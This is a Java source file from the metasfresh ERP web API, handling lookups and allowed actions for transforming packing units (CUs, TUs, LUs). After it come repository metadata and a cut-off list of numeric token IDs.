private ActionType getActionType()
{
return _actionType;
}
public boolean isCheckExistingHUsInsideView()
{
return _checkExistingHUsInsideView;
}
//
//
//
public Object getParameterDefaultValue(final String parameterName)
{
if (WEBUI_M_HU_Transform.PARAM_QtyCU.equals(parameterName))
{
final I_M_HU cu = getSelectedRow().getM_HU(); // should work, because otherwise the param is not even shown.
return HUTransformService.newInstance().getMaximumQtyCU(cu, getSelectedRow().getC_UOM()).toBigDecimal();
}
else if (WEBUI_M_HU_Transform.PARAM_QtyTU.equals(parameterName))
{
final I_M_HU tu = getSelectedRow().getM_HU(); // should work, because otherwise the param is not even shown.
return HUTransformService.newInstance().getMaximumQtyTU(tu);
}
else if (WEBUI_M_HU_Transform.PARAM_HUPlanningReceiptOwnerPM_TU.equals(parameterName))
{
return getSelectedRow().isHUPlanningReceiptOwnerPM(); // should work, because otherwise the param is not even shown.
}
else if (WEBUI_M_HU_Transform.PARAM_HUPlanningReceiptOwnerPM_LU.equals(parameterName))
{
return getSelectedRow().isHUPlanningReceiptOwnerPM(); // should work, because otherwise the param is not even shown.
}
return IProcessDefaultParametersProvider.DEFAULT_VALUE_NOTAVAILABLE;
}
/**
* @return the actions that are available according to which row is currently selected and to also according to whether there are already existing TUs or LUs in the context.
*/
public final LookupValuesList getActions(final AdProcessId processId)
{
final Set<String> allowedActions = new HashSet<>();
final HUEditorRow huRow = getSelectedRow();
if (huRow.isCU())
{
allowedActions.addAll(getActionTypesForCUs());
}
else if (huRow.isTU())
{
allowedActions.addAll(getActionTypesForTUs());
}
else if (huRow.isLU())
{
allowedActions.add(ActionType.LU_Set_Ownership.toString());
}
final IADProcessDAO adProcessDAO = Services.get(IADProcessDAO.class);
final I_AD_Process_Para processParameter = adProcessDAO.retrieveProcessParameter(processId, WEBUI_M_HU_Transform.PARAM_Action);
final int actionsReferenceId = processParameter.getAD_Reference_Value_ID();
final Collection<ADRefListItem> allActiveActionItems = adReferenceDAO.retrieveListItems(actionsReferenceId);
final String adLanguage = Env.getAD_Language();
return allActiveActionItems
.stream()
.filter(item -> allowedActions.contains(item.getValueName()))
.map(item -> StringLookupValue.of(item.getValueName(), item.getName(), item.getDescription()))
.sorted(Comparator.comparing(lookupValue -> lookupValue.getDisplayName(adLanguage)))
.collect(LookupValuesList.collect());
}
private Set<String> getActionTypesForCUs()
{
final Set<String> selectableTypes = new HashSet<>();
selectableTypes.add(ActionType.CU_To_NewCU.toString());
selectableTypes.add(ActionType.CU_To_NewTUs.toString());
final boolean existsTUs;
if (isCheckExistingHUsInsideView())
{
existsTUs = getView().matchesAnyRowRecursive(HUEditorRowFilter.builder()
.select(Select.TU)
.excludeHUId(getParentHUIdOfSelectedRow())
.excludeHUStatus(X_M_HU.HUSTATUS_Destroyed)
.build());
}
else
{
existsTUs = true;
}
if (existsTUs)
{
selectableTypes.add(ActionType.CU_To_ExistingTU.toString());
}
return selectableTypes;
}
private Set<String> getActionTypesForTUs()
{
final Set<String> selectableTypes = new HashSet<>();
selectableTypes.add(ActionType.TU_To_NewTUs.toString());
selectableTypes.add(ActionType.TU_To_NewLUs.toString());
selectableTypes.add(ActionType.TU_Set_Ownership.toString());
final boolean existsLUs;
if (isCheckExistingHUsInsideView())
{
existsLUs = getView().matchesAnyRowRecursive(HUEditorRowFilter.builder()
.select(Select.LU)
.excludeHUId(getParentHUIdOfSelectedRow())
.excludeHUStatus(X_M_HU.HUSTATUS_Destroyed)
.build());
}
else
{
existsLUs = true;
}
if (existsLUs)
{
selectableTypes.add(ActionType.TU_To_ExistingLU.toString());
}
return selectableTypes;
}
/**
* @return a list of PI item products that match the selected CU's product and partner, sorted by name.
*/
public LookupValuesList getM_HU_PI_Item_Products()
{
final ActionType actionType = getActionType();
if (actionType == ActionType.CU_To_NewTUs)
{
final HUEditorRow cuRow = getSelectedRow();
return retrieveHUPItemProductsForNewTU(cuRow);
}
return LookupValuesList.EMPTY;
}
public Optional<I_M_HU_PI_Item_Product> getDefaultM_HU_PI_Item_Product()
{
final HUEditorRow cuRow = getSelectedRow();
final ProductId productId = cuRow.getProductId();
final BPartnerId bpartnerId = IHandlingUnitsBL.extractBPartnerIdOrNull(cuRow.getM_HU());
final List<I_M_HU_PI_Item_Product> allPIs = WEBUI_ProcessHelper.retrieveHUPIItemProductRecords(
Env.getCtx(),
productId,
bpartnerId,
false
);
return allPIs.stream()
.filter(hu -> hu.isActive() && hu.isDefaultForProduct())
.min(Comparator.comparingInt(I_M_HU_PI_Item_Product::getM_HU_PI_Item_Product_ID));
}
private static LookupValuesList retrieveHUPItemProductsForNewTU(final HUEditorRow cuRow)
{
final ProductId productId = cuRow.getProductId();
final BPartnerId bpartnerId = IHandlingUnitsBL.extractBPartnerIdOrNull(cuRow.getM_HU());
return WEBUI_ProcessHelper.retrieveHUPIItemProducts(
Env.getCtx(),
productId,
bpartnerId,
false); // includeVirtualItem = false..moving a cu onto a "virtual" TU makes no sense. Instead, the user can just leave the CU as it is, or take it out of a physical TU
}
/**
* Needed when the selected action is {@link ActionType#CU_To_ExistingTU}.
*
* @return existing TUs that are available in the current HU editor context, sorted by ID.
*/
public LookupValuesList getTUsLookupValues(final LookupDataSourceContext context)
{
if (isCheckExistingHUsInsideView())
{
return getTUsLookupValues_InsideView(context);
}
else
{
return getTUsLookupValues_All(context);
}
}
private LookupValuesList getTUsLookupValues_InsideView(final LookupDataSourceContext context)
{
final ActionType actionType = getActionType();
if (actionType == ActionType.CU_To_ExistingTU)
{
return getView()
.streamAllRecursive(HUEditorRowFilter.builder()
.select(Select.TU) // ..needs to be a TU
.userInputFilter(context.getFilterOrIfAny(null))
.excludeHUId(getParentHUIdOfSelectedRow()) // ..may not be the one TU that 'cu' is already attached to
.excludeHUStatus(X_M_HU.HUSTATUS_Destroyed)
.build())
.sorted(Comparator.comparing(row -> row.getHuId().getRepoId()))
.map(row -> row.toLookupValue())
.collect(LookupValuesList.collect());
}
return LookupValuesList.EMPTY;
}
private LookupValuesList getTUsLookupValues_All(final LookupDataSourceContext context)
{
final ActionType actionType = getActionType();
if (actionType == ActionType.CU_To_ExistingTU)
{
// TODO: cache the descriptor
// TODO: filter by TUs
// TODO: search by barcode too
final LookupDescriptor lookupDescriptor = SqlLookupDescriptor.builder()
.setCtxTableName(null) // ctxTableName
.setCtxColumnName("M_HU_ID")
.setDisplayType(DisplayType.Search)
.buildForDefaultScope();
LookupDataSource dataSource = LookupDataSourceFactory.instance.getLookupDataSource(lookupDescriptor);
final LookupValuesList result = dataSource.findEntities(context, context.getFilter(), context.getOffset(0), context.getLimit(10));
return result;
}
return LookupValuesList.EMPTY;
}
/**
* @return existing LUs that are available in the current HU editor context, sorted by ID.
*/
public LookupValuesList getLUsLookupValues(final LookupDataSourceContext context)
{
if (isCheckExistingHUsInsideView())
{
return getLUsLookupValues_InsideView(context);
}
else
{
return getLUsLookupValues_All(context);
}
}
private LookupValuesList getLUsLookupValues_InsideView(final LookupDataSourceContext context)
{
final ActionType actionType = getActionType();
if (actionType == ActionType.TU_To_ExistingLU)
{
return getView()
.streamAllRecursive(HUEditorRowFilter.builder()
.select(Select.LU) // ..needs to be a LU
.userInputFilter(context.getFilterOrIfAny(null))
.excludeHUId(getParentHUIdOfSelectedRow()) // ..may not be the one LU that 'tu' is already attached to
.excludeHUStatus(X_M_HU.HUSTATUS_Destroyed)
.build())
.sorted(Comparator.comparing(row -> row.getHuId().getRepoId()))
.map(row -> row.toLookupValue())
.collect(LookupValuesList.collect());
}
return LookupValuesList.EMPTY;
}
private LookupValuesList getLUsLookupValues_All(final LookupDataSourceContext context)
{
final ActionType actionType = getActionType();
if (actionType == ActionType.TU_To_ExistingLU)
{
// TODO: cache the descriptor
// TODO: filter by LUs
// TODO: search by barcode too
final LookupDescriptor lookupDescriptor = SqlLookupDescriptor.builder()
.setCtxTableName(null) // ctxTableName
.setCtxColumnName("M_HU_ID")
.setDisplayType(DisplayType.Search)
.buildForDefaultScope();
LookupDataSource dataSource = LookupDataSourceFactory.instance.getLookupDataSource(lookupDescriptor);
final LookupValuesList result = dataSource.findEntities(context, context.getFilter(), context.getOffset(0), context.getLimit(10));
return result;
}
else
{
return LookupValuesList.EMPTY;
}
}
private HuId getParentHUIdOfSelectedRow()
{
final HUEditorRow huRow = getSelectedRow();
final I_M_HU hu = huRow.getM_HU();
final int parentIdOfSelectedHU = handlingUnitsDAO.retrieveParentId(hu);
return HuId.ofRepoIdOrNull(parentIdOfSelectedHU);
}
public LookupValuesList getM_HU_PI_Item_IDs()
{
final ActionType actionType = getActionType();
if (actionType != ActionType.TU_To_NewLUs)
{
return LookupValuesList.EMPTY;
}
final List<I_M_HU_PI_Item> luPIItems = getAvailableLUPIItems();
return luPIItems.stream()
.filter(luPIItem -> luPIItem.getM_HU_PI_Version().isCurrent() && luPIItem.getM_HU_PI_Version().isActive() && luPIItem.getM_HU_PI_Version().getM_HU_PI().isActive())
.map(luPIItem -> IntegerLookupValue.of(luPIItem.getM_HU_PI_Item_ID(), WEBUI_ProcessHelper.buildHUPIItemString(luPIItem)))
.sorted(Comparator.comparing(IntegerLookupValue::getDisplayName))
.collect(LookupValuesList.collect());
}
public I_M_HU_PI_Item getDefaultM_LU_PI_ItemOrNull()
{
final List<I_M_HU_PI_Item> luPIItems = getAvailableLUPIItems();
final Optional<I_M_HU_PI_Item> defaultHUPIItem = luPIItems.stream()
.filter(luPIItem -> luPIItem.getM_HU_PI_Version().isCurrent() && luPIItem.getM_HU_PI_Version().isActive() && luPIItem.getM_HU_PI_Version().getM_HU_PI().isActive())
.sorted(Comparator.comparing(I_M_HU_PI_Item::getM_HU_PI_Item_ID)) // TODO what to order by ?
.findFirst();
return defaultHUPIItem.orElse(null);
}
private List<I_M_HU_PI_Item> getAvailableLUPIItems()
{
final HUEditorRow tuRow = getSelectedRow();
final I_M_HU tuHU = tuRow.getM_HU();
final I_M_HU_PI_Version effectivePIVersion = handlingUnitsBL.getEffectivePIVersion(tuHU);
Check.errorIf(effectivePIVersion == null, "tuHU is inconsistent; hu={}", tuHU);
final List<I_M_HU_PI_Item> luPIItems = handlingUnitsDAO.retrieveParentPIItemsForParentPI(
effectivePIVersion.getM_HU_PI(),
null,
IHandlingUnitsBL.extractBPartnerIdOrNull(tuHU));
return luPIItems;
}
}
| 15,604
|
Java
|
.java
|
metasfresh/metasfresh-webui-api-legacy
| 30
| 32
| 244
|
2016-04-14T13:03:48Z
|
2023-11-20T07:20:19Z
|
1c0e1732040972c007b24e6c9c8733fa6fc09cbc11af73dc5126b53282668526
|
[
1337,
428,
51,
34443,
51,
1726,
51,
1857,
51,
26791,
9760,
51,
2441,
64,
222,
222,
485,
1401,
51,
1058,
51,
2272,
64,
222,
485,
1401,
51,
1058,
51,
18676,
64,
222,
485,
1401,
51,
1058,
51,
17163,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1401,
51,
1058,
51,
7575,
64,
222,
485,
1401,
51,
1058,
51,
903,
64,
222,
222,
485,
3698,
51,
4341,
51,
6825,
64,
222,
222,
485,
428,
51,
34443,
51,
26791,
9760,
51,
1184,
51,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
100,
3420,
64,
222,
485,
1105,
51,
1546,
17208,
767,
51,
358,
51,
2140,
51,
78,
1208,
3580,
12909,
64,
222,
485,
1105,
51,
1546,
17208,
767,
51,
358,
51,
2140,
51,
78,
1208,
3580,
12909,
51,
1208,
2099,
12866,
64,
222,
485,
1105,
51,
998,
47475,
51,
1184,
51,
78,
100,
1208,
100,
2877,
100,
14702,
64,
222,
485,
1105,
51,
998,
47475,
51,
1058,
51,
3948,
638,
64,
222,
485,
1105,
51,
998,
47475,
51,
1058,
51,
6063,
64,
222,
222,
485,
428,
51,
34443,
51,
103,
15692,
51,
71,
25509,
625,
64,
222,
485,
428,
51,
34443,
51,
26791,
9760,
51,
27892,
625,
64,
222,
485,
428,
51,
34443,
51,
26791,
9760,
51,
78,
17270,
13117,
5165,
64,
222,
485,
428,
51,
34443,
51,
26791,
9760,
51,
78,
17270,
13117,
12909,
64,
222,
485,
428,
51,
34443,
51,
26791,
9760,
51,
23646,
51,
10687,
51,
22532,
4879,
1201,
64,
222,
485,
428,
51,
34443,
51,
26791,
9760,
51,
1184,
51,
78,
100,
82,
100,
22532,
64,
222,
485,
428,
51,
34443,
51,
26791,
9760,
51,
1184,
51,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
64,
222,
485,
428,
51,
34443,
51,
26791,
9760,
51,
1184,
51,
78,
100,
82,
100,
22532,
100,
1182,
100,
2080,
64,
222,
485,
428,
51,
34443,
51,
26791,
9760,
51,
1184,
51,
93,
100,
82,
100,
22532,
64,
222,
485,
428,
51,
34443,
51,
47389,
51,
326,
103,
51,
1460,
51,
1058,
51,
2157,
64,
222,
485,
428,
51,
34443,
51,
2441,
51,
1785,
2877,
625,
64,
222,
485,
428,
51,
34443,
51,
2441,
51,
78,
1208,
2877,
12909,
64,
222,
485,
428,
51,
34443,
51,
2441,
51,
78,
2877,
2061,
3694,
2588,
64,
222,
485,
428,
51,
34443,
51,
2463,
51,
47809,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
26791,
9760,
51,
22532,
4836,
2368,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
26791,
9760,
51,
22532,
4836,
2368,
2365,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
26791,
9760,
51,
22532,
4836,
2368,
2365,
51,
1926,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
26791,
9760,
51,
22532,
4836,
1089,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
26791,
9760,
51,
2441,
51,
3139,
48909,
22532,
4879,
2037,
51,
26682,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
26791,
9760,
51,
1058,
51,
4656,
1771,
78,
100,
2877,
2775,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
3537,
51,
18176,
1707,
51,
10138,
899,
51,
3078,
10138,
899,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
3537,
51,
18176,
1707,
51,
10138,
899,
51,
671,
10138,
899,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
3537,
51,
18176,
1707,
51,
10138,
3367,
739,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
3537,
51,
9662,
51,
10138,
4336,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
3537,
51,
9662,
51,
2622,
51,
5352,
10138,
4336,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
3537,
51,
1184,
51,
10124,
51,
10138,
8622,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
3537,
51,
1184,
51,
10124,
51,
10138,
8622,
1237,
64,
222,
485,
428,
51,
34443,
51,
1726,
51,
1857,
51,
3537,
51,
1184,
51,
10124,
51,
10138,
8622,
2232,
64,
222,
485,
428,
51,
34443,
51,
1058,
51,
5466,
64,
222,
485,
13243,
51,
1812,
64,
222,
485,
13243,
51,
10082,
64,
222,
222,
1127,
222,
338,
38269,
81,
222,
338,
3294,
321,
33214,
50,
1399,
48909,
50,
1256,
222,
338,
12947,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
60,
3294,
321,
34723,
222,
338,
12947,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
55,
451,
341,
222,
338,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
222,
338,
1196,
7979,
642,
477,
3477,
51,
1691,
666,
49,
2337,
222,
338,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
52,
43817,
50,
55,
51,
53,
51,
935,
4513,
222,
338,
607,
81,
42,
222,
588,
222,
222,
1350,
222,
338,
6170,
462,
1674,
391,
5342,
3105,
1222,
2726,
48909,
22532,
4879,
3694,
130,
327,
1555,
2102,
49,
2803,
9026,
5795,
566,
222,
338,
222,
338,
496,
2133,
3294,
321,
50,
1920,
350,
1920,
69,
34443,
33214,
51,
527,
67,
222,
588,
222,
942,
462,
2726,
48909,
22532,
4879,
3694,
7904,
284,
222,
128,
222,
221,
325,
6694,
222,
221,
2072,
1175,
30215,
457,
1208,
3580,
12909,
1564,
3580,
12909,
299,
11263,
51,
390,
45,
78,
1208,
3580,
12909,
51,
842,
312,
222,
221,
2072,
1175,
30215,
457,
17270,
13117,
12909,
9946,
13117,
12909,
299,
11263,
51,
390,
45,
78,
17270,
13117,
12909,
51,
842,
312,
222,
221,
2072,
1175,
30215,
457,
17270,
13117,
5165,
9946,
13117,
5165,
299,
11263,
51,
390,
45,
78,
17270,
13117,
5165,
51,
842,
312,
499,
221,
325,
7063,
222,
221,
2072,
1175,
696,
90,
4836,
1089,
634,
1090,
64,
222,
221,
2072,
1175,
696,
90,
4836,
2368,
634,
4358,
2368,
64,
222,
221,
2072,
1175,
5255,
638,
634,
1160,
638,
64,
222,
221,
2072,
1175,
1922,
634,
1571,
18104,
77,
2352,
22677,
1089,
64,
499,
221,
69,
1812,
222,
221,
2072,
2726,
48909,
22532,
4879,
3694,
7904,
284,
4810,
10082,
1175,
696,
90,
4836,
1089,
2221,
49,
374,
221,
69,
10082,
1175,
696,
90,
4836,
2368,
4337,
2368,
49,
374,
221,
69,
6825,
1175,
5255,
638,
2146,
638,
49,
374,
221,
3242,
1922,
1524,
18104,
77,
2352,
22677,
1089,
46,
222,
221,
128,
376,
221,
597,
1132,
1090,
299,
2221,
64,
376,
221,
597,
1132,
4358,
2368,
299,
4337,
2368,
64,
376,
221,
597,
1132,
1160,
638,
299,
2146,
638,
64,
376,
221,
597,
1132,
1571,
18104,
77,
2352,
22677,
1089,
299,
1524,
18104,
77,
2352,
22677,
1089,
64,
222,
221,
130,
499,
221,
2072,
696,
90,
4836,
1089,
640,
1089,
365,
222,
221,
128,
376,
221,
620,
634,
1090,
64,
222,
221,
130,
499,
221,
2072,
696,
90,
4836,
2368,
640,
4559,
2368,
365,
222,
221,
128,
376,
221,
620,
634,
4358,
2368,
64,
222,
221,
130,
499,
221,
2072,
5255,
638,
640,
26682,
365,
222,
221,
128,
376,
221,
620,
634,
1160,
638,
64,
222,
221,
130,
499,
221,
942,
1922,
458,
2157,
18104,
77,
2352,
22677,
1089,
365,
222,
221,
128,
376,
221,
620,
634,
1571,
18104,
77,
2352,
22677,
1089,
64,
222,
221,
130,
499,
221,
325,
222,
221,
325,
222,
221,
325,
499,
221,
942,
2210,
640,
3026,
20021,
45,
3242,
910,
3416,
577,
46,
222,
221,
128,
1332,
221,
344,
327,
4656,
1771,
78,
100,
82,
100,
22532,
100,
4879,
51,
7608,
100,
23864,
12565,
51,
3591,
45,
5616,
577,
509,
376,
221,
128,
374,
221,
3242,
457,
100,
82,
100,
22532,
14281,
299,
640,
4559,
2368,
941,
25413,
100,
22532,
492,
453,
1414,
1409,
49,
3318,
5897,
341,
4380,
458,
666,
4462,
10090,
51,
2556,
221,
620,
696,
90,
4879,
1201,
51,
20237,
941,
390,
12739,
23864,
12565,
45,
9816,
49,
640,
4559,
2368,
941,
11641,
100,
90,
5664,
4269,
471,
20808,
492,
376,
221,
130,
376,
221,
728,
434,
327,
4656,
1771,
78,
100,
82,
100,
22532,
100,
4879,
51,
7608,
100,
23864,
34114,
51,
3591,
45,
5616,
577,
509,
376,
221,
128,
374,
221,
3242,
457,
100,
82,
100,
22532,
21998,
299,
640,
4559,
2368,
941,
25413,
100,
22532,
492,
453,
1414,
1409,
49,
3318,
5897,
341,
4380,
458,
666,
4462,
10090,
51,
374,
221,
620,
696,
90,
4879,
1201,
51,
20237,
941,
390,
12739,
23864,
34114,
45,
13389,
312,
376,
221,
130,
376,
221,
728,
434,
327,
4656,
1771,
78,
100,
82,
100,
22532,
100,
4879,
51,
7608,
100,
22532,
1839,
10141,
23305,
6456,
7464,
100,
34114,
51,
3591,
45,
5616,
577,
509,
376,
221,
128,
374,
221,
620,
640,
4559,
2368,
941,
316,
22532,
1839,
10141,
23305,
6456,
7464,
492,
453,
1414,
1409,
49,
3318,
5897,
341,
4380,
458,
666,
4462,
10090,
51,
376,
221,
130,
376,
221,
728,
434,
327,
4656,
1771,
78,
100,
82,
100,
22532,
100,
4879,
51,
7608,
100,
22532,
1839,
10141,
23305,
6456,
7464,
100,
11830,
51,
3591,
45,
5616,
577,
509,
376,
221,
128,
374,
221,
620,
640,
4559,
2368,
941,
316,
22532,
1839,
10141,
23305,
6456,
7464,
492,
453,
1414,
1409,
49,
3318,
5897,
341,
4380,
458,
666,
4462,
10090,
51,
376,
221,
130,
1332,
221,
620,
457,
2877,
2061,
3694,
2588,
51,
5815,
100,
5986,
100,
3922,
25390,
64,
222,
221,
130,
499,
221,
1350,
376,
338,
496,
620,
341,
6905,
708,
904,
3322,
9299,
391,
1532,
2720,
458,
5937,
4337,
480,
391,
2353,
9299,
391,
4962,
2038,
904,
3443,
4917,
413,
2352,
575,
517,
2352,
347,
341,
1637,
51,
376,
588,
222,
221,
942,
1175,
23923,
3367,
739,
640,
7113,
45,
3242,
3604,
2877,
625,
2183,
625,
46,
222,
221,
128,
376,
221,
3242,
1776,
65,
671,
67,
6671,
7113,
299,
556,
14253,
6984,
1332,
221,
3242,
696,
90,
4836,
2368,
38311,
2368,
299,
640,
4559,
2368,
492,
376,
221,
344,
327,
8290,
2368,
51,
316,
12565,
1177,
376,
221,
128,
374,
221,
11330,
7113,
51,
15109,
45,
28103,
2439,
1580,
72,
2352,
1052,
376,
221,
130,
1332,
221,
728,
434,
327,
8290,
2368,
51,
316,
34114,
1177,
376,
221,
128,
374,
221,
11330,
7113,
51,
15109,
45,
28103,
2439,
1580,
89,
2352,
1052,
376,
221,
130,
1332,
221,
728,
434,
327,
8290,
2368,
51,
316,
11830,
1177,
376,
221,
128,
374,
221,
11330,
7113,
51,
688,
45,
26682,
51,
11830,
100,
903,
100,
39544,
51,
3127,
1052,
376,
221,
130,
1332,
221,
3242,
457,
1208,
2877,
12909,
1564,
2877,
12909,
299,
11263,
51,
390,
45,
78,
1208,
2877,
12909,
51,
842,
312,
376,
221,
3242,
457,
100,
1208,
100,
2877,
100,
14702,
2183,
3026,
299,
1564,
2877,
12909,
51,
19101,
2877,
3026,
45,
2441,
625,
49,
31195,
1771,
78,
100,
82,
100,
22532,
100,
4879,
51,
7608,
100,
1728,
312,
376,
221,
3242,
648,
6905,
3580,
625,
299,
2183,
3026,
51,
390,
1208,
100,
3580,
100,
899,
100,
798,
492,
376,
221,
3242,
7380,
65,
1208,
2099,
12866,
67,
1187,
4091,
1728,
3648,
299,
1564,
3580,
12909,
51,
19101,
739,
3648,
45,
3564,
3580,
625,
312,
1332,
221,
3242,
910,
1564,
5980,
299,
23463,
51,
390,
1208,
100,
5980,
492,
1332,
221,
620,
1187,
4091,
1728,
3648,
621,
221,
51,
2255,
365,
621,
221,
51,
2049,
45,
1113,
984,
6671,
7113,
51,
4766,
45,
1113,
51,
6693,
577,
5183,
621,
221,
51,
1130,
45,
1113,
984,
910,
10138,
899,
51,
1048,
45,
1113,
51,
6693,
577,
1046,
1641,
51,
5175,
1046,
1641,
51,
32844,
5183,
621,
221,
51,
11980,
45,
18676,
51,
998,
7016,
45,
10124,
899,
984,
11478,
899,
51,
390,
12572,
45,
358,
5980,
2636,
621,
221,
51,
6190,
45,
10138,
3367,
739,
51,
6190,
1052,
222,
221,
130,
499,
221,
2072,
1776,
65,
671,
67,
640,
1728,
2439,
1580,
72,
2352,
365,
222,
221,
128,
376,
221,
3242,
1776,
65,
671,
67,
2209,
463,
2439,
299,
556,
14253,
6984,
1332,
221,
48282,
2439,
51,
688,
45,
26682,
51,
12565,
100,
724,
100,
1827,
12565,
51,
3127,
1052,
376,
221,
48282,
2439,
51,
688,
45,
26682,
51,
12565,
100,
724,
100,
1827,
89,
2352,
51,
3127,
1052,
1332,
221,
3242,
1922,
5394,
89,
2352,
64,
376,
221,
344,
327,
316,
2157,
18104,
77,
2352,
22677,
1089,
1177,
376,
221,
128,
374,
221,
4678,
89,
2352,
299,
640,
1089,
941,
8936,
4292,
2368,
27243,
45,
22532,
4836,
2368,
2365,
51,
4179,
365,
596,
221,
51,
1632,
45,
1926,
51,
34114,
46,
596,
221,
51,
10463,
22532,
625,
45,
18777,
22532,
625,
1436,
4559,
2368,
1177,
596,
221,
51,
10463,
22532,
1551,
45,
93,
100,
82,
100,
22532,
51,
22532,
5965,
100,
42849,
46,
596,
221,
51,
1848,
1052,
376,
221,
130,
376,
221,
728,
376,
221,
128,
374,
221,
4678,
89,
2352,
299,
878,
64,
376,
221,
130,
1332,
221,
344,
327,
4678,
89,
2352,
46,
376,
221,
128,
374,
221,
48282,
2439,
51,
688,
45,
26682,
51,
12565,
100,
724,
100,
18104,
34114,
51,
3127,
1052,
376,
221,
130,
1332,
221,
620,
2209,
463,
2439,
64,
222,
221,
130,
499,
221,
2072,
1776,
65,
671,
67,
640,
1728,
2439,
1580,
89,
2352,
365,
222,
221,
128,
376,
221,
3242,
1776,
65,
671,
67,
2209,
463,
2439,
299,
556,
14253,
6984,
1332,
221,
48282,
2439,
51,
688,
45,
26682,
51,
34114,
100,
724,
100,
1827,
89,
2352,
51,
3127,
1052,
376,
221,
48282,
2439,
51,
688,
45,
26682,
51,
34114,
100,
724,
100,
1827,
81,
2352,
51,
3127,
1052,
376,
221,
48282,
2439,
51,
688,
45,
26682,
51,
34114,
100,
903,
100,
39544,
51,
3127,
1052,
1332,
221,
3242,
1922,
5394,
81,
2352,
64,
376,
221,
344,
327,
316,
2157,
18104,
77,
2352,
22677,
1089,
1177,
376,
221,
128,
374,
221,
4678,
81,
2352,
299,
640,
1089,
941,
8936,
4292,
2368,
27243,
45,
22532,
4836,
2368,
2365,
51,
4179,
365,
596,
221,
51,
1632,
45,
1926,
51,
11830,
46,
596,
221,
51,
10463,
22532,
625,
45,
18777,
22532,
625,
1436,
4559,
2368,
1177,
596,
221,
51,
10463,
22532,
1551,
45,
93,
100,
82,
100,
22532,
51,
22532,
5965,
100,
42849,
46,
596,
221,
51,
1848,
1052,
376,
221,
130,
376,
221,
728,
376,
221,
128,
374,
221,
4678,
81,
2352,
299,
878,
64,
376,
221,
130,
376,
221,
344,
327,
4678,
81,
2352,
46,
376,
221,
128,
374,
221,
48282,
2439,
51,
688,
45,
26682,
51,
34114,
100,
724,
100,
18104,
11830,
51,
3127,
1052,
376,
221,
130,
376,
221,
620,
2209,
463,
2439,
64,
222,
221,
130,
499,
221,
1350,
376,
338,
496,
620,
331,
1168,
451,
21939,
1641,
10062,
708,
2549,
341,
4337,
19514,
1200,
4072,
480,
25237,
49,
8635,
829,
655,
51,
376,
588,
222,
221,
942,
23923,
3367,
739,
640,
82,
100,
22532,
100,
1182,
100,
1114,
100,
14193,
365,
222,
221,
128,
376,
221,
3242,
5255,
638,
2146,
638,
299,
640,
26682,
492,
376,
221,
344,
327,
1160,
638,
630,
5255,
638,
51,
12565,
100,
724,
100,
1827,
89,
2352,
46,
376,
221,
128,
374,
221,
3242,
696,
90,
4836,
2368,
14281,
2368,
299,
640,
4559,
2368,
492,
374,
221,
620,
10857,
77,
2430,
1114,
14193,
1580,
1827,
34114,
45,
9816,
2368,
312,
376,
221,
130,
1332,
221,
620,
23923,
3367,
739,
51,
13070,
64,
222,
221,
130,
499,
221,
942,
5663,
65,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
100,
3420,
67,
23916,
82,
100,
22532,
100,
1182,
100,
1114,
100,
3420,
365,
222,
221,
128,
376,
221,
3242,
696,
90,
4836,
2368,
14281,
2368,
299,
640,
4559,
2368,
492,
376,
221,
3242,
7697,
625,
44900,
299,
14281,
2368,
51,
390,
47809,
492,
376,
221,
3242,
570,
25509,
625,
342,
15692,
625,
299,
457,
17270,
13117,
5165,
51,
8320,
71,
25509,
625,
18778,
45,
9816,
2368,
51,
25413,
100,
22532,
1052,
1332,
221,
3242,
1701,
65,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
100,
3420,
67,
1187,
1182,
120,
299,
31195,
1771,
78,
100,
2877,
2775,
51,
19101,
22532,
1182,
1114,
3420,
11549,
45,
621,
221,
6063,
51,
390,
9969,
1046,
621,
221,
32827,
49,
621,
221,
103,
15692,
625,
49,
621,
221,
1886,
376,
221,
312,
1332,
221,
620,
1187,
1182,
120,
51,
2255,
365,
621,
221,
51,
2049,
45,
8290,
984,
38311,
51,
22630,
365,
979,
38311,
51,
316,
2061,
1580,
3420,
1177,
621,
221,
51,
907,
45,
18676,
51,
998,
7016,
1438,
45,
78,
100,
82,
100,
22532,
100,
1182,
100,
1114,
100,
3420,
422,
25413,
100,
22532,
100,
1182,
100,
1114,
100,
3420,
100,
798,
894,
222,
221,
130,
499,
221,
2072,
924,
23923,
3367,
739,
10857,
77,
2430,
1114,
14193,
1580,
1827,
34114,
45,
3242,
696,
90,
4836,
2368,
14281,
2368,
46,
222,
221,
128,
376,
221,
3242,
7697,
625,
44900,
299,
14281,
